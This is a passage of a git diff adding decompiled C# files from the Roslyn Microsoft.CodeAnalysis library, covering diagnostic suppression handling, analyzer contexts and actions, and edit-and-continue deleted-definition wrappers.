DecodeGlobalSuppressMessageAttributes() + { + if (_lazyGlobalSuppressions == null) + { + GlobalSuppressions globalSuppressions = new GlobalSuppressions(); + DecodeGlobalSuppressMessageAttributes(_compilation, _compilation.Assembly, globalSuppressions); + foreach (IModuleSymbol module in _compilation.Assembly.Modules) + { + DecodeGlobalSuppressMessageAttributes(_compilation, module, globalSuppressions); + } + Interlocked.CompareExchange(ref _lazyGlobalSuppressions, globalSuppressions, null); + } + return _lazyGlobalSuppressions; + } + + private bool IsSuppressionAttribute(AttributeData a) + { + if (a.AttributeClass != SuppressMessageAttribute) + { + return a.AttributeClass == UnconditionalSuppressMessageAttribute; + } + return true; + } + + private ImmutableDictionary DecodeLocalSuppressMessageAttributes(ISymbol symbol) + { + return DecodeLocalSuppressMessageAttributes(from a in symbol.GetAttributes() + where IsSuppressionAttribute(a) + select a); + } + + private static ImmutableDictionary DecodeLocalSuppressMessageAttributes(IEnumerable attributes) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + foreach (AttributeData attribute in attributes) + { + if (TryDecodeSuppressMessageAttributeData(attribute, out var info)) + { + AddOrUpdate(info, builder); + } + } + return builder.ToImmutable(); + } + + private static void AddOrUpdate(SuppressMessageInfo info, IDictionary builder) + { + if (!builder.TryGetValue(info.Id, out var _)) + { + builder[info.Id] = info; + } + } + + private void DecodeGlobalSuppressMessageAttributes(Compilation compilation, ISymbol symbol, GlobalSuppressions globalSuppressions) + { + IEnumerable attributes = from a in symbol.GetAttributes() + where IsSuppressionAttribute(a) + select a; + DecodeGlobalSuppressMessageAttributes(compilation, globalSuppressions, attributes); + } + + private static void DecodeGlobalSuppressMessageAttributes(Compilation compilation, GlobalSuppressions globalSuppressions, IEnumerable attributes) + { + foreach (AttributeData attribute in attributes) + { + if (!TryDecodeSuppressMessageAttributeData(attribute, out var info) || !TryGetTargetScope(info, out var scope)) + { + continue; + } + if ((scope == TargetScope.Module || scope == TargetScope.None) && info.Target == null) + { + globalSuppressions.AddCompilationWideSuppression(info); + } + else if (info.Target != null) + { + ImmutableArray.Enumerator enumerator2 = ResolveTargetSymbols(compilation, info.Target, scope).GetEnumerator(); + while (enumerator2.MoveNext()) + { + ISymbol current = enumerator2.Current; + globalSuppressions.AddGlobalSymbolSuppression(current, info); + } + } + } + } + + internal static ImmutableArray ResolveTargetSymbols(Compilation compilation, string target, TargetScope scope) + { + switch (scope) + { + case TargetScope.Namespace: + case TargetScope.Type: + case TargetScope.Member: + { + bool resolvedWithDocCommentIdFormat; + return new TargetSymbolResolver(compilation, scope, target).Resolve(out resolvedWithDocCommentIdFormat); + } + case TargetScope.NamespaceAndDescendants: + return ResolveTargetSymbols(compilation, target, TargetScope.Namespace); + default: + return ImmutableArray.Empty; + } + } + + private static bool TryDecodeSuppressMessageAttributeData(AttributeData attribute, out SuppressMessageInfo info) + { + info = default(SuppressMessageInfo); + if (attribute.CommonConstructorArguments.Length < 2) + { + return false; + } + info.Id = attribute.CommonConstructorArguments[1].ValueInternal as string; + if (info.Id == null) + { + return false; + } + int num = info.Id.IndexOf(':'); + if (num != -1) + { + info.Id = info.Id.Remove(num); + } + info.Scope = attribute.DecodeNamedArgument("Scope", SpecialType.System_String); + info.Target = attribute.DecodeNamedArgument("Target", SpecialType.System_String); + info.MessageId = attribute.DecodeNamedArgument("MessageId", SpecialType.System_String); + info.Attribute = attribute; + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressMessageInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressMessageInfo.cs new file mode 100644 index 0000000..2c4a6dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressMessageInfo.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal struct SuppressMessageInfo +{ + public string Id; + + public string Scope; + + public string Target; + + public string MessageId; + + public AttributeData Attribute; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/Suppression.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/Suppression.cs new file mode 100644 index 0000000..80b4512 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/Suppression.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct Suppression : IEquatable +{ + public SuppressionDescriptor Descriptor { get; } + + public Diagnostic SuppressedDiagnostic { get; } + + private Suppression(SuppressionDescriptor descriptor, Diagnostic suppressedDiagnostic) + { + Descriptor = descriptor ?? throw new ArgumentNullException("descriptor"); + SuppressedDiagnostic = suppressedDiagnostic ?? throw new ArgumentNullException("suppressedDiagnostic"); + if (descriptor.SuppressedDiagnosticId != suppressedDiagnostic.Id) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.InvalidDiagnosticSuppressionReported, suppressedDiagnostic.Id, descriptor.SuppressedDiagnosticId)); + } + } + + public static Suppression Create(SuppressionDescriptor descriptor, Diagnostic suppressedDiagnostic) + { + return new Suppression(descriptor, suppressedDiagnostic); + } + + public static bool operator ==(Suppression left, Suppression right) + { + return left.Equals(right); + } + + public static bool operator !=(Suppression left, Suppression right) + { + return !(left == right); + } + + public override bool Equals(object? obj) + { + if (obj is Suppression other) + { + return Equals(other); + } + return false; + } + + public bool Equals(Suppression other) + { + if (EqualityComparer.Default.Equals(Descriptor, other.Descriptor)) + { + return EqualityComparer.Default.Equals(SuppressedDiagnostic, other.SuppressedDiagnostic); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(EqualityComparer.Default.GetHashCode(Descriptor), EqualityComparer.Default.GetHashCode(SuppressedDiagnostic)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressionAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressionAnalysisContext.cs new file mode 100644 index 0000000..0899abb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressionAnalysisContext.cs @@ -0,0 +1,54 @@ +using System; +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct SuppressionAnalysisContext +{ + private readonly Action _addSuppression; + + private readonly Func _isSupportedSuppressionDescriptor; + + private readonly Func _getSemanticModel; + + public ImmutableArray ReportedDiagnostics { get; } + + public Compilation Compilation { get; } + + public AnalyzerOptions Options { get; } + + public CancellationToken CancellationToken { get; } + + internal SuppressionAnalysisContext(Compilation compilation, AnalyzerOptions options, ImmutableArray reportedDiagnostics, Action suppressDiagnostic, Func isSupportedSuppressionDescriptor, Func getSemanticModel, CancellationToken cancellationToken) + { + Compilation = compilation; + Options = options; + ReportedDiagnostics = reportedDiagnostics; + _addSuppression = suppressDiagnostic; + _isSupportedSuppressionDescriptor = isSupportedSuppressionDescriptor; + _getSemanticModel = getSemanticModel; + CancellationToken = cancellationToken; + } + + public void ReportSuppression(Suppression suppression) + { + if (!ReportedDiagnostics.Contains(suppression.SuppressedDiagnostic)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.NonReportedDiagnosticCannotBeSuppressed, suppression.SuppressedDiagnostic.Id)); + } + if (!_isSupportedSuppressionDescriptor(suppression.Descriptor)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.UnsupportedSuppressionReported, suppression.Descriptor.Id)); + } + if (!suppression.Descriptor.IsDisabled(Compilation.Options)) + { + _addSuppression(suppression); + } + } + + public SemanticModel GetSemanticModel(SyntaxTree syntaxTree) + { + return _getSemanticModel(syntaxTree); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressionInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressionInfo.cs new file mode 100644 index 0000000..6b32172 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressionInfo.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +public sealed class SuppressionInfo +{ + public string Id { get; } + + public AttributeData? Attribute { get; } + + internal SuppressionInfo(string id, AttributeData? attribute) + { + Id = id; + Attribute = attribute; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolAnalysisContext.cs new file mode 100644 index 0000000..df03793 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolAnalysisContext.cs @@ -0,0 +1,64 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct SymbolAnalysisContext +{ + private readonly ISymbol _symbol; + + private readonly Compilation _compilation; + + private readonly AnalyzerOptions _options; + + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + private readonly CancellationToken _cancellationToken; + + public ISymbol Symbol => _symbol; + + public Compilation Compilation => _compilation; + + public AnalyzerOptions Options => _options; + + public SyntaxTree? FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public CancellationToken CancellationToken => _cancellationToken; + + internal Func IsSupportedDiagnostic => _isSupportedDiagnostic; + + public bool IsGeneratedCode { get; } + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public SymbolAnalysisContext(ISymbol symbol, Compilation compilation, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(symbol, compilation, options, reportDiagnostic, (Diagnostic d, CancellationToken _) => isSupportedDiagnostic(d), isGeneratedCode: false, null, null, cancellationToken) + { + } + + internal SymbolAnalysisContext(ISymbol symbol, Compilation compilation, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, bool isGeneratedCode, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + _symbol = symbol; + _compilation = compilation; + _options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + IsGeneratedCode = isGeneratedCode; + FilterTree = filterTree; + FilterSpan = filterSpan; + _cancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, _compilation, _isSupportedDiagnostic, _cancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolAnalyzerAction.cs new file mode 100644 index 0000000..2999074 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolAnalyzerAction.cs @@ -0,0 +1,18 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class SymbolAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public ImmutableArray Kinds { get; } + + public SymbolAnalyzerAction(Action action, ImmutableArray kinds, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + Kinds = kinds; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolDeclaredCompilationEvent.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolDeclaredCompilationEvent.cs new file mode 100644 index 0000000..b7a52c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolDeclaredCompilationEvent.cs @@ -0,0 +1,38 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class SymbolDeclaredCompilationEvent : CompilationEvent +{ + private readonly Lazy> _lazyCachedDeclaringReferences; + + public ISymbol Symbol => SymbolInternal.GetISymbol(); + + public ISymbolInternal SymbolInternal { get; } + + public SemanticModel? SemanticModelWithCachedBoundNodes { get; } + + public ImmutableArray DeclaringSyntaxReferences => _lazyCachedDeclaringReferences.Value; + + public SymbolDeclaredCompilationEvent(Compilation compilation, ISymbolInternal symbolInternal, SemanticModel? semanticModelWithCachedBoundNodes = null) + : base(compilation) + { + SymbolInternal = symbolInternal; + SemanticModelWithCachedBoundNodes = semanticModelWithCachedBoundNodes; + _lazyCachedDeclaringReferences = new Lazy>(() => Symbol.DeclaringSyntaxReferences); + } + + public override string ToString() + { + string text = Symbol.Name; + if (text == "") + { + text = ""; + } + string text2 = ((DeclaringSyntaxReferences.Length != 0) ? (" @ " + string.Join(", ", Enumerable.Select(DeclaringSyntaxReferences, (SyntaxReference r) => r.GetLocation().GetLineSpan()))) : null); + return "SymbolDeclaredCompilationEvent(" + text + " " + Symbol.ToDisplayString(SymbolDisplayFormat.MinimallyQualifiedFormat) + text2 + ")"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolEndAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolEndAnalyzerAction.cs new file mode 100644 index 0000000..f4f76cf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolEndAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class SymbolEndAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public SymbolEndAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolStartAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolStartAnalysisContext.cs new file mode 100644 index 0000000..7a43705 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolStartAnalysisContext.cs @@ -0,0 +1,64 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class SymbolStartAnalysisContext +{ + public ISymbol Symbol { get; } + + public Compilation Compilation { get; } + + public AnalyzerOptions Options { get; } + + public bool IsGeneratedCode { get; } + + public SyntaxTree? FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public CancellationToken CancellationToken { get; } + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public SymbolStartAnalysisContext(ISymbol symbol, Compilation compilation, AnalyzerOptions options, CancellationToken cancellationToken) + : this(symbol, compilation, options, isGeneratedCode: false, null, null, cancellationToken) + { + } + + internal SymbolStartAnalysisContext(ISymbol symbol, Compilation compilation, AnalyzerOptions options, bool isGeneratedCode, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + Symbol = symbol; + Compilation = compilation; + Options = options; + IsGeneratedCode = isGeneratedCode; + FilterTree = filterTree; + FilterSpan = filterSpan; + CancellationToken = cancellationToken; + } + + public abstract void RegisterSymbolEndAction(Action action); + + public abstract void RegisterCodeBlockStartAction(Action> action) where TLanguageKindEnum : struct; + + public abstract void RegisterCodeBlockAction(Action action); + + public void RegisterSyntaxNodeAction(Action action, params TLanguageKindEnum[] syntaxKinds) where TLanguageKindEnum : struct + { + RegisterSyntaxNodeAction(action, syntaxKinds.AsImmutableOrEmpty()); + } + + public abstract void RegisterSyntaxNodeAction(Action action, ImmutableArray syntaxKinds) where TLanguageKindEnum : struct; + + public abstract void RegisterOperationBlockStartAction(Action action); + + public abstract void RegisterOperationBlockAction(Action action); + + public void RegisterOperationAction(Action action, params OperationKind[] operationKinds) + { + RegisterOperationAction(action, operationKinds.AsImmutableOrEmpty()); + } + + public abstract void RegisterOperationAction(Action action, ImmutableArray operationKinds); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolStartAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolStartAnalyzerAction.cs new file mode 100644 index 0000000..c6fe518 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SymbolStartAnalyzerAction.cs @@ -0,0 +1,17 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class SymbolStartAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public SymbolKind Kind { get; } + + public SymbolStartAnalyzerAction(Action action, SymbolKind kind, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + Kind = kind; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxNodeAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxNodeAnalysisContext.cs new file mode 100644 index 0000000..2ebc741 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxNodeAnalysisContext.cs @@ -0,0 +1,75 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct SyntaxNodeAnalysisContext +{ + private readonly SyntaxNode _node; + + private readonly ISymbol? _containingSymbol; + + private readonly SemanticModel _semanticModel; + + private readonly AnalyzerOptions _options; + + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + private readonly CancellationToken _cancellationToken; + + public SyntaxNode Node => _node; + + public ISymbol? ContainingSymbol => _containingSymbol; + + public SemanticModel SemanticModel => _semanticModel; + + public Compilation Compilation => _semanticModel?.Compilation ?? throw new InvalidOperationException(); + + public AnalyzerOptions Options => _options; + + public SyntaxTree FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public bool IsGeneratedCode { get; } + + public CancellationToken CancellationToken => _cancellationToken; + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public SyntaxNodeAnalysisContext(SyntaxNode node, ISymbol? containingSymbol, SemanticModel semanticModel, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(node, containingSymbol, semanticModel, options, reportDiagnostic, (Diagnostic d, CancellationToken _) => isSupportedDiagnostic(d), null, isGeneratedCode: false, cancellationToken) + { + } + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public SyntaxNodeAnalysisContext(SyntaxNode node, SemanticModel semanticModel, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(node, null, semanticModel, options, reportDiagnostic, (Diagnostic d, CancellationToken _) => isSupportedDiagnostic(d), null, isGeneratedCode: false, cancellationToken) + { + } + + internal SyntaxNodeAnalysisContext(SyntaxNode node, ISymbol? containingSymbol, SemanticModel semanticModel, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + _node = node; + _containingSymbol = containingSymbol; + _semanticModel = semanticModel; + _options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + FilterTree = node.SyntaxTree; + FilterSpan = filterSpan; + IsGeneratedCode = isGeneratedCode; + _cancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, _semanticModel.Compilation, _isSupportedDiagnostic, _cancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxNodeAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxNodeAnalyzerAction.cs new file mode 100644 index 0000000..6ebf170 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxNodeAnalyzerAction.cs @@ -0,0 +1,18 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class SyntaxNodeAnalyzerAction : AnalyzerAction where TLanguageKindEnum : struct +{ + public Action Action { get; } + + public ImmutableArray Kinds { get; } + + public SyntaxNodeAnalyzerAction(Action action, ImmutableArray kinds, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + Kinds = kinds; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeAnalysisContext.cs new file mode 100644 index 0000000..2d2f6d6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeAnalysisContext.cs @@ -0,0 +1,59 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct SyntaxTreeAnalysisContext +{ + private readonly SyntaxTree _tree; + + private readonly Compilation? _compilationOpt; + + private readonly AnalyzerOptions _options; + + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + private readonly CancellationToken _cancellationToken; + + public SyntaxTree Tree => _tree; + + public AnalyzerOptions Options => _options; + + public TextSpan? FilterSpan { get; } + + public bool IsGeneratedCode { get; } + + public CancellationToken CancellationToken => _cancellationToken; + + internal Compilation? Compilation => _compilationOpt; + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public SyntaxTreeAnalysisContext(SyntaxTree tree, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(tree, options, reportDiagnostic, (Diagnostic d, CancellationToken _) => isSupportedDiagnostic(d), null, null, isGeneratedCode: false, cancellationToken) + { + } + + internal SyntaxTreeAnalysisContext(SyntaxTree tree, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, Compilation? compilation, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + _tree = tree; + _options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + _compilationOpt = compilation; + FilterSpan = filterSpan; + IsGeneratedCode = isGeneratedCode; + _cancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, _compilationOpt, _isSupportedDiagnostic, _cancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeAnalyzerAction.cs new file mode 100644 index 0000000..5c3aa71 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class SyntaxTreeAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public SyntaxTreeAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeValueProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeValueProvider.cs new file mode 100644 index 0000000..925a139 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SyntaxTreeValueProvider.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public sealed class SyntaxTreeValueProvider +{ + internal AnalysisValueProvider CoreValueProvider { get; private set; } + + public SyntaxTreeValueProvider(Func computeValue, IEqualityComparer? syntaxTreeComparer = null) + { + CoreValueProvider = new AnalysisValueProvider(computeValue, syntaxTreeComparer ?? SyntaxTreeComparer.Instance); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/UnresolvedAnalyzerReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/UnresolvedAnalyzerReference.cs new file mode 100644 index 0000000..92a827e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/UnresolvedAnalyzerReference.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public sealed class UnresolvedAnalyzerReference : AnalyzerReference +{ + private readonly string _unresolvedPath; + + public override string Display => CodeAnalysisResources.Unresolved + FullPath; + + public override string FullPath => _unresolvedPath; + + public override object Id => _unresolvedPath; + + public UnresolvedAnalyzerReference(string unresolvedPath) + { + if (unresolvedPath == null) + { + throw new ArgumentNullException("unresolvedPath"); + } + _unresolvedPath = unresolvedPath; + } + + public override ImmutableArray GetAnalyzersForAllLanguages() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetAnalyzers(string language) + { + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedCustomAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedCustomAttribute.cs new file mode 100644 index 0000000..d762a30 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedCustomAttribute.cs @@ -0,0 +1,39 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit.EditAndContinue; + +internal sealed class DeletedCustomAttribute : DeletedDefinition, ICustomAttribute +{ + public int ArgumentCount => OldDefinition.ArgumentCount; + + public ushort NamedArgumentCount => OldDefinition.NamedArgumentCount; + + public bool AllowMultiple => OldDefinition.AllowMultiple; + + public DeletedCustomAttribute(ICustomAttribute oldAttribute, Dictionary typesUsedByDeletedMembers) + : base(oldAttribute, typesUsedByDeletedMembers) + { + } + + public IMethodReference Constructor(EmitContext context, bool reportDiagnostics) + { + return OldDefinition.Constructor(context, reportDiagnostics); + } + + public ImmutableArray GetArguments(EmitContext context) + { + return OldDefinition.GetArguments(context); + } + + public ImmutableArray GetNamedArguments(EmitContext context) + { + return OldDefinition.GetNamedArguments(context); + } + + public ITypeReference GetType(EmitContext context) + { + return WrapType(OldDefinition.GetType(context)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedDefinition.cs new file mode 100644 index 0000000..b69c409 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedDefinition.cs @@ -0,0 +1,50 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit.EditAndContinue; + +internal abstract class DeletedDefinition +{ + protected readonly T OldDefinition; + + private readonly Dictionary _typesUsedByDeletedMembers; + + protected DeletedDefinition(T oldDefinition, Dictionary typesUsedByDeletedMembers) + { + OldDefinition = oldDefinition; + _typesUsedByDeletedMembers = typesUsedByDeletedMembers; + } + + protected ImmutableArray WrapParameters(ImmutableArray parameters) + { + return parameters.SelectAsArray((IParameterDefinition p) => new DeletedParameterDefinition(p, _typesUsedByDeletedMembers)); + } + + protected IEnumerable WrapGenericMethodParameters(DeletedMethodDefinition methodDefinition, IEnumerable genericParameters) + { + return genericParameters.Select((IGenericMethodParameter p) => new DeletedGenericParameter(p, methodDefinition, _typesUsedByDeletedMembers)); + } + + protected IEnumerable WrapAttributes(IEnumerable attributes) + { + return attributes.Select((ICustomAttribute a) => new DeletedCustomAttribute(a, _typesUsedByDeletedMembers)); + } + + [return: NotNullIfNotNull("typeReference")] + protected ITypeReference? WrapType(ITypeReference? typeReference) + { + if (typeReference is ITypeDefinition typeDefinition) + { + if (!_typesUsedByDeletedMembers.TryGetValue(typeDefinition, out DeletedTypeDefinition value)) + { + value = new DeletedTypeDefinition(typeDefinition); + _typesUsedByDeletedMembers.Add(typeDefinition, value); + } + return value; + } + return typeReference; + } 